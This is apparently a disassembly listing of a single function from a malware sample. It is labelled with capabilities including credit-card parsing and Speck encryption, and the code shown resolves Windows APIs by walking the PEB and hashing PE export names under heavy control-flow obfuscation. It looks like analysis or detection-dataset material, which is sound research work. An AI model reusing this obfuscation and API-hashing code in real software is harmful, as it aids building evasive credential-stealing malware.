Function at 0x14005f19b
Capabilities:
Access peb ldr_data
Encrypt data using speck
Get number of processors
Parse credit card information
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rax
pushf
mov eax, 0xf43970b8
pushf
not eax
add eax, 0x1181388f
xor eax, 0xc2452bb
rol eax, 0xa
popf
pushf
not eax
add eax, 0x62a98c3a
xor eax, 0x535b2658
rol eax, 0x5f
popf
pushf
not eax
add eax, 0x6e65cdab
xor eax, 0x2ae154d4
rol eax, 0x39
popf
cmp eax, 0x20
jne 0x14005f1eb
popf
pop rax
jmp 0x1400608b9
cmp eax, 0x3a
jne 0x14005f1fa
popf
pop rax
jmp 0x1400617fe
cmp eax, 0xc
jne 0x14005f209
popf
pop rax
jmp 0x14005fcf4
cmp eax, 0x32
jne 0x14005f218
popf
pop rax
jmp 0x14006130d
cmp eax, 0x14
jne 0x14005f227
popf
pop rax
jmp 0x140060249
cmp eax, 0x3d
jne 0x14005f236
popf
pop rax
jmp 0x140061987
cmp eax, 1
jne 0x14005f245
popf
pop rax
jmp 0x14005f689
cmp eax, 0xd
jne 0x14005f254
popf
pop rax
jmp 0x14005fd56
cmp eax, 0x22
jne 0x14005f263
popf
pop rax
jmp 0x140060a76
cmp eax, 0x1d
jne 0x14005f272
popf
pop rax
jmp 0x1400606d4
cmp eax, 8
jne 0x14005f281
popf
pop rax
jmp 0x14005fa63
cmp eax, 0x27
jne 0x14005f290
popf
pop rax
jmp 0x140060d2f
cmp eax, 0x26
jne 0x14005f29f
popf
pop rax
jmp 0x140060ccd
cmp eax, 0xe
jne 0x14005f2ae
popf
pop rax
jmp 0x14005fe53
cmp eax, 0x1a
jne 0x14005f2bd
popf
pop rax
jmp 0x14006057e
cmp eax, 0xf
jne 0x14005f2cc
popf
pop rax
jmp 0x14005fea1
cmp eax, 2
jne 0x14005f2db
popf
pop rax
jmp 0x14005f6de
cmp eax, 0x39
jne 0x14005f2ea
popf
pop rax
jmp 0x14006176d
cmp eax, 0x24
jne 0x14005f2f9
popf
pop rax
jmp 0x140060bb2
cmp eax, 0x23
jne 0x14005f308
popf
pop rax
jmp 0x140060b22
cmp eax, 0x34
jne 0x14005f317
popf
pop rax
jmp 0x140061451
cmp eax, 0x2b
jne 0x14005f326
popf
pop rax
jmp 0x140060f60
cmp eax, 0x1e
jne 0x14005f335
popf
pop rax
jmp 0x140060796
cmp eax, 0x16
jne 0x14005f344
popf
pop rax
jmp 0x140060399
cmp eax, 0x12
jne 0x14005f353
popf
pop rax
jmp 0x14006004d
cmp eax, 0xa
jne 0x14005f362
popf
pop rax
jmp 0x14005fb8d
cmp eax, 0x2d
jne 0x14005f371
popf
pop rax
jmp 0x140061075
cmp eax, 0x35
jne 0x14005f380
popf
pop rax
jmp 0x1400614a6
cmp eax, 0x1c
jne 0x14005f38f
popf
pop rax
jmp 0x14006065b
cmp eax, 0xb
jne 0x14005f39e
popf
pop rax
jmp 0x14005fc37
cmp eax, 0x10
jne 0x14005f3ad
popf
pop rax
jmp 0x14005ff3d
cmp eax, 0x3b
jne 0x14005f3bc
popf
pop rax
jmp 0x140061882
cmp eax, 0x3f
jne 0x14005f3cb
popf
pop rax
jmp 0x140061a67
cmp eax, 7
jne 0x14005f3da
popf
pop rax
jmp 0x14005f986
cmp eax, 0x2f
jne 0x14005f3e9
popf
pop rax
jmp 0x140061169
cmp eax, 4
jne 0x14005f3f8
popf
pop rax
jmp 0x14005f7fc
cmp eax, 0x3c
jne 0x14005f407
popf
pop rax
jmp 0x14006192c
cmp eax, 0x3e
jne 0x14005f416
popf
pop rax
jmp 0x1400619e7
cmp eax, 0x25
jne 0x14005f425
popf
pop rax
jmp 0x140060c23
cmp eax, 0x1f
jne 0x14005f434
popf
pop rax
jmp 0x140060851
cmp eax, 0x30
jne 0x14005f443
popf
pop rax
jmp 0x1400611ff
cmp eax, 0x28
jne 0x14005f452
popf
pop rax
jmp 0x140060dcf
cmp eax, 0
jne 0x14005f461
popf
pop rax
jmp 0x14005f59c
cmp eax, 0x15
jne 0x14005f470
popf
pop rax
jmp 0x1400602f5
cmp eax, 0x11
jne 0x14005f47f
popf
pop rax
jmp 0x14005ffe5
cmp eax, 0x13
jne 0x14005f48e
popf
pop rax
jmp 0x14006017b
cmp eax, 0x2e
jne 0x14005f49d
popf
pop rax
jmp 0x1400610f8
cmp eax, 5
jne 0x14005f4ac
popf
pop rax
jmp 0x14005f83e
cmp eax, 0x29
jne 0x14005f4bb
popf
pop rax
jmp 0x140060e1b
cmp eax, 0x19
jne 0x14005f4ca
popf
pop rax
jmp 0x1400604de
cmp eax, 0x21
jne 0x14005f4d9
popf
pop rax
jmp 0x1400609ce
cmp eax, 3
jne 0x14005f4e8
popf
pop rax
jmp 0x14005f767
cmp eax, 0x33
jne 0x14005f4f7
popf
pop rax
jmp 0x1400613bc
cmp eax, 9
jne 0x14005f506
popf
pop rax
jmp 0x14005fae9
cmp eax, 0x1b
jne 0x14005f515
popf
pop rax
jmp 0x1400605bf
cmp eax, 0x18
jne 0x14005f524
popf
pop rax
jmp 0x14006048e
cmp eax, 0x38
jne 0x14005f533
popf
pop rax
jmp 0x1400616d8
cmp eax, 0x37
jne 0x14005f542
popf
pop rax
jmp 0x1400615fb
cmp eax, 0x36
jne 0x14005f551
popf
pop rax
jmp 0x1400615b4
cmp eax, 0x17
jne 0x14005f560
popf
pop rax
jmp 0x14006041d
cmp eax, 0x31
jne 0x14005f56f
popf
pop rax
jmp 0x14006129b
cmp eax, 0x2a
jne 0x14005f57e
popf
pop rax
jmp 0x140060eba
cmp eax, 6
jne 0x14005f58d
popf
pop rax
jmp 0x14005f92c
cmp eax, 0x2c
jne 0x14005f59c
popf
pop rax
jmp 0x140060ff4
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x160
mov rax, qword [0x14003f040]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rax, qword [0x140043fc8]
mov r12, rcx
mov dword [rsp + 0x20], 0x130
test rax, rax
jne 0x14005f630
push rax
pushf
mov eax, 0x8af1889
pushf
not eax
add eax, 0x64daa6ee
xor eax, 0x26ef519f
rol eax, 0xa
popf
pushf
not eax
add eax, 0x2293540e
xor eax, 0x78932829
rol eax, 0x50
popf
pushf
not eax
add eax, 0x5ff11bbb
xor eax, 0x1165a43a
rol eax, 0x49
popf
jmp 0x14005f1dc
push rax
pushf
mov eax, 0x2c983974
pushf
not eax
add eax, 0x5d732d5b
xor eax, 0x48e758de
rol eax, 0xbe
popf
pushf
not eax
add eax, 0x2712f743
xor eax, 0x19b39dba
rol eax, 0xf7
popf
pushf
not eax
add eax, 0xaf2869b
xor eax, 0x8a8b432
rol eax, 0x51
popf
pushf
not eax
add eax, 0x427f0c91
xor eax, 0xd3f160b
rol eax, 0x53
popf
jmp 0x14005f1dc
mov rax, qword gs:[0x60]
mov rdx, qword [rax + 0x18]
mov rax, qword [rdx + 0x10]
mov rbp, qword [rax]
mov rsi, rbp
nop word [rax + rax]
push rax
pushf
mov eax, 0x3d1f6d36
pushf
not eax
add eax, 0x3873d60e
xor eax, 0x4b82e088
rol eax, 0x83
popf
pushf
not eax
add eax, 0x5102530
xor eax, 0x7e5be032
rol eax, 0x98
popf
jmp 0x14005f1dc
mov r11, qword [rsi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov edi, dword [rax + r11 + 0x88]
push r11
not r11
sub rdi, r11
pop r11
sub rdi, 1
cmp rdi, r11
je 0x14005f734
push rax
pushf
mov eax, 0xe2c77f75
pushf
not eax
add eax, 0x7aa96fa3
xor eax, 0x7bb1a
rol eax, 0x1e
popf
pushf
not eax
add eax, 0xbc9e39c
xor eax, 0x25d0500e
rol eax, 0xfa
popf
jmp 0x14005f1dc
push rax
pushf
mov eax, 0x29928d0e
pushf
not eax
add eax, 0x7f478b40
xor eax, 0x10fac9d1
rol eax, 0xd3
popf
pushf
not eax
add eax, 0x1a062d76
xor eax, 0x5b041704
rol eax, 0xf7
popf
jmp 0x14005f1dc
mov r10d, dword [rdi + 0x18]
test r10d, r10d
je 0x14005f7b6
push rax
pushf
mov eax, 0x1edecae9
pushf
not eax
add eax, 0x92d3c03
xor eax, 0x7b4582ae
rol eax, 0x7d
popf
pushf
not eax
add eax, 0x7efce5ae
xor eax, 0x591c05bd
rol eax, 0x94
popf
pushf
not eax
add eax, 0x76209fd8
xor eax, 0x4d734363
rol eax, 0x81
popf
jmp 0x14005f1dc
push rax
pushf
mov eax, 0x92727988
pushf
not eax
add eax, 0x23636a15
xor eax, 0x7d1225b8
rol eax, 0xc0
popf
pushf
not eax
add eax, 0x44ca186a
xor eax, 0x2e479f55
rol eax, 0x9d
popf
pushf
not eax
add eax, 0x19f76031
xor eax, 0xae344a1
rol eax, 0x21
popf
jmp 0x14005f1dc
mov r14d, dword [rdi + 0x20]
nop word [rax + rax]
push rax
pushf
mov eax, 0xa9117184
pushf
not eax
add eax, 0x74b9ec20
xor eax, 0x78883a20
rol eax, 0xc8
popf
pushf
not eax
add eax, 0x6b7a5af1
xor eax, 0x1b399f3d
rol eax, 0x64
popf
jmp 0x14005f1dc
dec r10d
mov r9d, 0xb85831b4
pushf
not r9d
add r9d, 0x1cfbb53c
xor r9d, 0x1136a4d0
rol r9d, 0x6b
popf
pushf
not r9d
add r9d, 0x66af188e
xor r9d, 0x144ff1
rol r9d, 0x91
popf
pushf
not r9d
add r9d, 0x7b319317
xor r9d, 0x317ff865
rol r9d, 0x6f
popf
lea rax, [r14 + r10*4]
mov r8d, dword [rax + r11]
push r11
not r11
sub r8, r11
pop r11
sub r8, 1
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x14005f8f9
push rax
pushf
mov eax, 0xf5557a03
pushf
not eax
add eax, 0x624586a2
xor eax, 0x2e093b66
rol eax, 9
popf
pushf
not eax
add eax, 0x3e00a454
xor eax, 0x3b0bd02e
rol eax, 0xa9
popf
pushf
not eax
add eax, 0x746b4d68
xor eax, 0x3da3ec86
rol eax, 0x34
popf
jmp 0x14005f1dc
push rax
pushf
mov eax, 0xb3dab6e2
pushf
not eax
add eax, 0x5eca4e77
xor eax, 0x3702fea7
rol eax, 0xb9
popf
pushf
not eax
add eax, 0x73268a38
xor eax, 0xbeaaf6c
rol eax, 0xc0
popf
jmp 0x14005f1dc
nop
push rax
pushf
mov eax, 0xdcb194ad
pushf
not eax
add eax, 0x31306c4c
xor eax, 0x7205e4d9
rol eax, 0x82
popf
pushf
not eax
add eax, 0x401bc199
xor eax, 0xff39706
rol eax, 0xd7
popf
pushf
not eax
add eax, 0x3145694b
xor eax, 0x6c76cddf
rol eax, 0x7b
popf
pushf
not eax
add eax, 0x4160050f
xor eax, 0x1083cf54
rol eax, 0x4b
popf
jmp 0x14005f1dc
movsx eax, dl
lea r8, [r8 + 1]
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r8 - 1]
cmova ecx, eax
push rcx
not dword [rsp]
and dword [rsp], r9d
push r9
not r9d
and ecx, r9d
pop r9
or ecx, dword [rsp]
add rsp, 8
imul r9d, ecx, 0x1000193
test dl, dl
jne 0x14005fa0a
push rax
pushf
mov eax, 0xad75b7c7
pushf
not eax
add eax, 0x507ac483
xor eax, 0x2506f323
rol eax, 0x25
popf
pushf
not eax
add eax, 0x2be3ae72
xor eax, 0x58f84209
rol eax, 0x7f
popf
pushf
not eax
add eax, 0x4abf7ed3
xor eax, 0x30f1821a
rol eax, 0xc1
popf
jmp 0x14005f1dc
push rax
pushf
mov eax, 0xe6ee5313
pushf
not eax
add eax, 0x28fadb43
xor eax, 0x7d4ecb20
rol eax, 0x9c
popf
pushf
not eax
add eax, 0x45332a0f
xor eax, 0x6f2c6fb8
rol eax, 0x8a
popf
pushf
not eax
add eax, 0x469a26d8
xor eax, 0x769b2b5e
rol eax, 0x57
popf
pushf
not eax
add eax, 0x72f44730
xor eax, 0x322d0d5c
rol eax, 0xd6
popf
jmp 0x14005f1dc
cmp r9d, 0x745d74e7
je 0x14005fab6
push rax
pushf
mov eax, 0xfd033575
pushf
not eax
add eax, 0x2c50428e
xor eax, 0x346fb3c7
rol eax, 0xdc
popf
pushf
not eax
add eax, 0x38e7dcf7
xor eax, 0x39d76e16
rol eax, 0xf1
popf
pushf
not eax
add eax, 0x1b8a432e
xor eax, 0x5d4b457a
rol eax, 0x7f
popf
jmp 0x14005f1dc
push rax
pushf
mov eax, 0xddc4a002
pushf
not eax
add eax, 0x51580ed8
xor eax, 0x5c3f4a1
rol eax, 0xb3
popf
pushf
not eax
add eax, 0x6958240d
xor eax, 0x35b4718d
rol eax, 0x23
popf
jmp 0x14005f1dc
test r10d, r10d
jne 0x14005fb34
push rax
pushf
mov eax, 0xc129b56b
pushf
not eax
add eax, 0x717eae99
xor eax, 0x2f7b0cdb
rol eax, 0x7c
popf
pushf
not eax
add eax, 0x712f643e
xor eax, 0x1ea664d3
rol eax, 0xe5
popf
pushf
not eax
add eax, 0x6601a462
xor eax, 0x26c1a2be
rol eax, 7
popf
jmp 0x14005f1dc
push rax
pushf
mov eax, 0x622aab4c
pushf
not eax
add eax, 0x303f6cb2
xor eax, 0x5e509059
rol eax, 0x1c
popf
pushf
not eax
add eax, 0x10fe0203
xor eax, 0x7d28fe81
rol eax, 0x13
popf
pushf
not eax
add eax, 0x789220c4
xor eax, 0x26185d42
rol eax, 0x91
popf
pushf
not eax
add eax, 0x4116222a
xor eax, 0x12159bb9
rol eax, 0x6f
popf
jmp 0x14005f1dc
mov rax, qword [rsi]
mov rsi, rax
cmp rax, rbp
je 0x14005fbde
push rax
pushf
mov eax, 0x88f6845f
pushf
not eax
add eax, 0x5d48a54e
xor eax, 0x55cd4eb9
rol eax, 0xb8
popf
pushf
not eax
add eax, 0x32a1ad0
xor eax, 0x4f62c046
rol eax, 0x90
popf
pushf
not eax
add eax, 0x363d9719
xor eax, 0x7b159e4e
rol eax, 0xf6
popf
jmp 0x14005f1dc
push rax
pushf
mov eax, 0xc2527b0d
pushf
not eax
add eax, 0x6fc493f
xor eax, 0x7884af68
rol eax, 0x67
popf
pushf
not eax
add eax, 0x3c091558
xor eax, 0xa21d695
rol eax, 0x80
popf
pushf
not eax
add eax, 0x39566711
xor eax, 0x4e3fd2a8
rol eax, 0xf8
popf
pushf
not eax
add eax, 0x7cd955e0
xor eax, 0x3090f265
rol eax, 0x33
popf
jmp 0x14005f1dc
cmp qword [rax + 0x30], 0
jne 0x14005fc9b
push rax
pushf
mov eax, 0x43b56af0
pushf
not eax
add eax, 0x3ee325e9
xor eax, 0x44f5abf
rol eax, 0x3d
popf
pushf
not eax
add eax, 0x2b405363
xor eax, 0x45bb9705
rol eax, 0xd8
popf
pushf
not eax
add eax, 0x64a03da6
xor eax, 0x5da2d174
rol eax, 0xe3
popf
pushf
not eax
add eax, 0x44136f14
xor eax, 0x7f774db9
rol eax, 0x9e
popf
jmp 0x14005f1dc
push rax
pushf
mov eax, 0xce6681ad
pushf
not eax
add eax, 0x5862c6d9
xor eax, 0x7be6ddeb
rol eax, 0x6b
popf
pushf
not eax
add eax, 0x1be94d5a
xor eax, 0x3c8ca4d4
rol eax, 0xfe
popf
pushf
not eax
add eax, 0x7edb3b71
xor eax, 0x4458452a
rol eax, 0x83
popf
pushf
not eax
add eax, 0x4b372a43
xor eax, 0x6d3efa28
rol eax, 0xeb
popf
jmp 0x14005f1dc
xor eax, eax
mov qword [0x140043fc8], rax
push rax
pushf
mov eax, 0xe436b3bd
pushf
not eax
add eax, 0x68c0004b
xor eax, 0x2a20d0d1
rol eax, 0x9b
popf
pushf
not eax
add eax, 0x42085a16
xor eax, 0x562f9547
rol eax, 0x77
popf
pushf
not eax
add eax, 0x32e7d643
xor eax, 0x56564bd6
rol eax, 0x5a
popf
pushf
not eax
add eax, 0x600f2bbf
xor eax, 0x7d545acf
rol eax, 0xe3
popf
jmp 0x14005f1dc
xor edx, edx
mov ecx, 0x1a10e71a
pushf
not ecx
add ecx, 0x1f585f66
xor ecx, 0x3b73bdd7
rol ecx, 0xe1
popf
pushf
not ecx
add ecx, 0x11b50784
xor ecx, 0x4aa279f4
rol ecx, 4
popf
pushf
not ecx
add ecx, 0x303e35f6
xor ecx, 0x87fdb87
rol ecx, 0x1a
popf
pushf
not ecx
add ecx, 0x3093f488
xor ecx, 0x33acac7c
rol ecx, 0xa0
popf
jmp 0x14005fdb2
call rax
mov r8, qword [0x1400440f0]
mov r15, rax
test r8, r8
jne 0x14005fe0d
push rax
pushf
mov eax, 0x3f6b779
pushf
not eax
add eax, 0x15aeb1fc
xor eax, 0x1a210179
rol eax, 0xf8
popf
pushf
not eax
add eax, 0x78c38e66
xor eax, 0x36f89d6d
rol eax, 0xdd
popf
pushf
not eax
add eax, 0x24fa0003
xor eax, 0x3b900ec2
rol eax, 0x57
popf
jmp 0x14005f1dc
push rax
pushf
mov eax, 0x78c62e8b
pushf
not eax
add eax, 0x27cb79d3
xor eax, 0x2c9bc250
rol eax, 0x38
popf
pushf
not eax
add eax, 0x55c5ec7a
xor eax, 0x101c9c0
rol eax, 0x43
popf
pushf
not eax
add eax, 0x1b16a4d4
xor eax, 0x20fa8fd2
rol eax, 0xd9
popf
jmp 0x14005f1dc
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rbp, qword [rcx]
mov rsi, rbp
nop dword [rax]
push rax
pushf
mov eax, 0x918cb752
pushf
not eax
add eax, 0x616e2e11
xor eax, 0x5f0649c5
rol eax, 0x95
popf
pushf
not eax
add eax, 0x3cecf86d
xor eax, 0x4c9adb85
rol eax, 0x4b
popf
jmp 0x14005f1dc
mov r11, qword [rsi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov edi, dword [rax + r11 + 0x88]
push r11
not r11
sub rdi, r11
pop r11
sub rdi, 1
cmp rdi, r11
je 0x14005ff0a
push rax
pushf
mov eax, 0x3b7855eb
pushf
not eax
add eax, 0x3a0eb3f0
xor eax, 0x7fb501ae
rol eax, 0x89
popf
pushf
not eax
add eax, 0x7fa45fa8
xor eax, 0x7f7a85a3
rol eax, 0x86
popf
pushf
not eax
add eax, 0x29744060
xor eax, 0x43907ece
rol eax, 0x2b
popf
jmp 0x14005f1dc
push rax
pushf
mov eax, 0x6ac963c3
pushf
not eax
add eax, 0x497db84
xor eax, 0xc7a75a5
rol eax, 0x65
popf
pushf
not eax
add eax, 0x122803d6
xor eax, 0x50a7b723
rol eax, 0x89
popf
jmp 0x14005f1dc
mov r10d, dword [rdi + 0x18]
test r10d, r10d
je 0x14005ff9f
push rax
pushf
mov eax, 0x26d4e20d
pushf
not eax
add eax, 0x3b818d74
xor eax, 0x76a476d1
rol eax, 0xe7
popf
pushf
not eax
add eax, 0x72ea7efc
xor eax, 0x56228302
rol eax, 0xb
popf
pushf
not eax
add eax, 0x399a2bce
xor eax, 0x3eadd19f
rol eax, 0xe8
popf
pushf
not eax
add eax, 0x3df101df
xor eax, 0x3b54f90
rol eax, 0x77
popf
jmp 0x14005f1dc
push rax
pushf
mov eax, 0xdf9a16ff
pushf
not eax
add eax, 0x63a3aa7f
xor eax, 0x75cfbb51
rol eax, 0xee
popf
pushf
not eax
add eax, 0x5fcca03c
xor eax, 0x30c58313
rol eax, 0xd9
popf
pushf
not eax
add eax, 0x185b9994
xor eax, 0x64c98ed2
rol eax, 0x4e
popf
jmp 0x14005f1dc
mov r14d, dword [rdi + 0x20]
nop word [rax + rax]
push rax
pushf
mov eax, 0x1e8dd0c1
pushf
not eax
add eax, 0x3ee7e5c8
xor eax, 0xb54c7af
rol eax, 0x46
popf
pushf
not eax
add eax, 0x295f5a0f
xor eax, 0x5bfc92c8
rol eax, 0xea
popf
pushf
not eax
add eax, 0x2ed2f5d
xor eax, 0x76fb6f4c
rol eax, 0x76
popf
pushf
not eax
add eax, 0x6f93bb13
xor eax, 0x239f7a2e
rol eax, 0x32
popf
jmp 0x14005f1dc
dec r10d
mov r9d, 0x7c93ca33
pushf
not r9d
add r9d, 0x1ec09651
xor r9d, 0x6098734d
rol r9d, 0x93
popf
pushf
not r9d
add r9d, 0x3089eba8
xor r9d, 0x6e39e7d
rol r9d, 0xf5
popf
pushf
not r9d
add r9d, 0x650229c
xor r9d, 0x4d73ffe2
rol r9d, 0x82
popf
pushf
not r9d
add r9d, 0x3b9c105b
xor r9d, 0x6e5f8504
rol r9d, 0xd6
popf
lea rax, [r14 + r10*4]
mov edx, dword [rax + r11]
push r11
not r11
sub rdx, r11
pop r11
sub rdx, 1
movzx r8d, byte [rdx]
inc rdx
test r8b, r8b
je 0x140060122
push rax
pushf
mov eax, 0x48a280bc
pushf
not eax
add eax, 0x3c473d7b
xor eax, 0x66e370aa
rol eax, 0xcc
popf
pushf
not eax
add eax, 0x169ffb42
xor eax, 0x623a5fd8
rol eax, 0xfb
popf
pushf
not eax
add eax, 0x29a7e4f7
xor eax, 0x79c13d85
rol eax, 0x71
popf
jmp 0x14005f1dc
push rax
pushf
mov eax, 0x2ee48ccc
pushf
not eax
add eax, 0x7b5eb65
xor eax, 0x21df5c24
rol eax, 0xf4
popf
pushf
not eax
add eax, 0x41b950b2
xor eax, 0x32e39039
rol eax, 0x2a
popf
pushf
not eax
add eax, 0x56319fb2
xor eax, 0x7dd4aa6c
rol eax, 0x15
popf
pushf
not eax
add eax, 0x8953e43
xor eax, 0x596b2b38
rol eax, 0xbb
popf
jmp 0x14005f1dc
movsx eax, r8b
lea rdx, [rdx + 1]
sub r8b, 0x41
mov ecx, eax
or ecx, 0x20
cmp r8b, 0x19
movzx r8d, byte [rdx - 1]
cmova ecx, eax
push rcx
not dword [rsp]
and dword [rsp], r9d
push r9
not r9d
and ecx, r9d
pop r9
or ecx, dword [rsp]
add rsp, 8
imul r9d, ecx, 0x1000193
test r8b, r8b
jne 0x1400601f0
push rax
pushf
mov eax, 0x2821e57
pushf
not eax
add eax, 0x6fcac92f
xor eax, 0x2ae94469
rol eax, 0xac
popf
pushf
not eax
add eax, 0x676c0ecd
xor eax, 0x48802a02
rol eax, 0x9e
popf
jmp 0x14005f1dc
push rax
pushf
mov eax, 0x5a60f5b9
pushf
not eax
add eax, 0x6d05942a
xor eax, 0x1b6487
rol eax, 5
popf
pushf
not eax
add eax, 0x555b337a
xor eax, 0x14a97b85
rol eax, 0x34
popf
pushf
not eax
add eax, 0x791e7cab
xor eax, 0x2201a554
rol eax, 0x9e
popf
pushf
not eax
add eax, 0x61e4bc9a
xor eax, 0x38609e64
rol eax, 0x71
popf
jmp 0x14005f1dc
cmp r9d, 0x183176d5
je 0x14006029c
push rax
pushf
mov eax, 0x93a58c18
pushf
not eax
add eax, 0x491c4c84
xor eax, 0x5b5f6eb4
rol eax, 0x94
popf
pushf
not eax
add eax, 0x1508f777
xor eax, 0x6f07550a
rol eax, 0x5e
popf
pushf
not eax
add eax, 0xdcdd1b
xor eax, 0x6f898ca5
rol eax, 0xc
popf
jmp 0x14005f1dc
push rax
pushf
mov eax, 0xa26b5bc5
pushf
not eax
add eax, 0x68044ea2
xor eax, 0x7b589e58
rol eax, 0xe5
popf
pushf
not eax
add eax, 0x1f946480
xor eax, 0x77485b2
rol eax, 0x47
popf
pushf
not eax
add eax, 0x5dcaeeb4
xor eax, 0x2dc412b2
rol eax, 0x2f
popf
pushf
not eax
add eax, 0x5ab42447
xor eax, 0x73c33f99
rol eax, 0xac
popf
jmp 0x14005f1dc
test r10d, r10d
jne 0x140060340
push rax
pushf
mov eax, 0xf7901e9c
pushf
not eax
add eax, 0x30a8abc8
xor eax, 0x3621c818
rol eax, 0xec
popf
pushf
not eax
add eax, 0x3f6f75ab
xor eax, 0x1eb6d92f
rol eax, 0xc2
popf
pushf
not eax
add eax, 0x7547b76
xor eax, 0x30f20513
rol eax, 0xee
popf
jmp 0x14005f1dc
push rax
pushf
mov eax, 0xf7723e29
pushf
not eax
add eax, 0x6b6864a
xor eax, 0x1fd577a3
rol eax, 0xf4
popf
pushf
not eax
add eax, 0x50b1a887
xor eax, 0x23bbbb46
rol eax, 0x2e
popf
pushf
not eax
add eax, 0x6b20d0
xor eax, 0x251350ae
rol eax, 0xdd
popf
pushf
not eax
add eax, 0x30d17488
xor eax, 0x6a87a232
rol eax, 0xc7
popf
jmp 0x14005f1dc
mov rax, qword [rsi]
mov rsi, rax
cmp rax, rbp
je 0x1400603ea
push rax
pushf
mov eax, 0x17950683
pushf
not eax
add eax, 0x7e7f3242
xor eax, 0x289cf1a6
rol eax, 0xb2
popf
pushf
not eax
add eax, 0x36c252d3
xor eax, 0x181ff207
rol eax, 0xd6
popf
pushf
not eax
add eax, 0x69e61ec
xor eax, 0x4a46c231
rol eax, 0xef
popf
jmp 0x14005f1dc
push rax
pushf
mov eax, 0xfed440e6
pushf
not eax
add eax, 0x6c7b7cb6
xor eax, 0x59c0de45
rol eax, 0x91
popf
pushf
not eax
add eax, 0x88c8302
xor eax, 0x3d481a32
rol eax, 0xaf
popf
jmp 0x14005f1dc
cmp qword [rax + 0x30], 0
jne 0x14006045b
push rax
pushf
mov eax, 0x2be9ee7e
pushf
not eax
add eax, 0x5238677e
xor eax, 0x6062bdf
rol eax, 0xe6
popf
pushf
not eax
add eax, 0x4f83c476
xor eax, 0x3b6efc6d
rol eax, 0xa
popf
jmp 0x14005f1dc
push rax
pushf
mov eax, 0x55db228
pushf
not eax
add eax, 0x3521553c
xor eax, 0x29ac2745
rol eax, 0xfd
popf
pushf
not eax
add eax, 0x2262f6bc
xor eax, 0x6195060d
rol eax, 0xfe
popf
jmp 0x14005f1dc
xor r8d, r8d
mov qword [0x1400440f0], r8
push rax
pushf
mov eax, 0x4d4f4290
pushf
not eax
add eax, 0x63465917
xor eax, 0x6c88420d
rol eax, 0xd2
popf
pushf
not eax
add eax, 0x23a181c1
xor eax, 0x5e88d563
rol eax, 0x26
popf
pushf
not eax
add eax, 0x6c18a00d
xor eax, 0x6b04f7e9
rol eax, 0xca
popf
jmp 0x14005f1dc
lea rdx, [rsp + 0x20]
mov rcx, r15
call r8
cmp eax, 1
jne 0x14006054b
push rax
pushf
mov eax, 0xd60ad141
pushf
not eax
add eax, 0x76251e9f
xor eax, 0x3ab29f5f
rol eax, 0x65
popf
pushf
not eax
add eax, 0x62522e4d
xor eax, 0x4ffe17e2
rol eax, 0xc4
popf
pushf
not eax
add eax, 0x7a74d9d3
xor eax, 0x28aea78d
rol eax, 0xfc
popf
pushf
not eax
add eax, 0x55e554c5
xor eax, 0x1ccd9acb
rol eax, 0xcb
popf
jmp 0x14005f1dc
push rax
pushf
mov eax, 0xf3561844
pushf
not eax
add eax, 0x1d3b153e
xor eax, 0x1df19533
rol eax, 0x46
popf
pushf
not eax
add eax, 0x1f483ff2
xor eax, 0x1edcd64
rol eax, 0x49
popf
jmp 0x14005f1dc
nop dword [rax]
nop word [rax + rax]
push rax
pushf
mov eax, 0xf54c8e85
pushf
not eax
add eax, 0x4cec5b57
xor eax, 0x5ce237d6
rol eax, 0x4a
popf
pushf
not eax
add eax, 0x553de913
xor eax, 0x5d51cc89
rol eax, 0xbe
popf
jmp 0x14005f1dc
mov rax, qword [0x140044028]
test rax, rax
jne 0x140060602
push rax
pushf
mov eax, 0xd704cb4f
pushf
not eax
add eax, 0x695ba1b
xor eax, 0xa1b0145
rol eax, 0x11
popf
pushf
not eax
add eax, 0x5e6e4d9a
xor eax, 0x7f6a0282
rol eax, 0xf
popf
jmp 0x14005f1dc
push rax
pushf
mov eax, 0xd1c7d0db
pushf
not eax
add eax, 0x56d946d5
xor eax, 0x281af2b3
rol eax, 0x1c
popf
pushf
not eax
add eax, 0x24442a27
xor eax, 0x1f83ecca
rol eax, 0xcf
popf
pushf
not eax
add eax, 0x2850f368
xor eax, 0x5e6b8fd1
rol eax, 0x2c
popf
pushf
not eax
add eax, 0x666bdd8a
xor eax, 0x4b67f50b
rol eax, 0xe5
popf
jmp 0x14005f1dc
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbp, qword [rax]
mov rdi, rbp
nop word [rax + rax]
push rax
pushf
mov eax, 0x92b41856
pushf
not eax
add eax, 0x416c9eac
xor eax, 0x768490b0
rol eax, 0xad
popf
pushf
not eax
add eax, 0x380d3596
xor eax, 0x641da6d4
rol eax, 0xd6
popf
pushf
not eax
add eax, 0x2dd997ea
xor eax, 0x2abd321e
rol eax, 0xd7
popf
pushf
not eax
add eax, 0x36e26d49
xor eax, 0x40c3a10e
rol eax, 2
popf
jmp 0x14005f1dc
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov esi, dword [rax + r11 + 0x88]
push r11
not r11
sub rsi, r11
pop r11
sub rsi, 1
cmp rsi, r11
je 0x14006073d
push rax
pushf
mov eax, 0x682c862a
pushf
not eax
add eax, 0x58bc7d5b
xor eax, 0x546cef44
rol eax, 0x2e
popf
pushf
not eax
add eax, 0x2dbfb14
xor eax, 0x3be8693f
rol eax, 0xc2
popf
pushf
not eax
add eax, 0x2faa101f
xor eax, 0x1248ac8e
rol eax, 0xf2
popf
jmp 0x14005f1dc
push rax
pushf
mov eax, 0x27c3910c
pushf
not eax
add eax, 0x1c1099e9
xor eax, 0x7bccf533
rol eax, 0xd5
popf
pushf
not eax
add eax, 0x4f415e2f
xor eax, 0x2d6d6c84
rol eax, 0xa7
popf
pushf
not eax
add eax, 0x6b85ba9a
xor eax, 0x40e27654
rol eax, 0x85
popf
pushf
not eax
add eax, 0x6b3706af
xor eax, 0x1e48e0cb
rol eax, 0x77
popf
jmp 0x14005f1dc
mov r10d, dword [rsi + 0x18]
test r10d, r10d
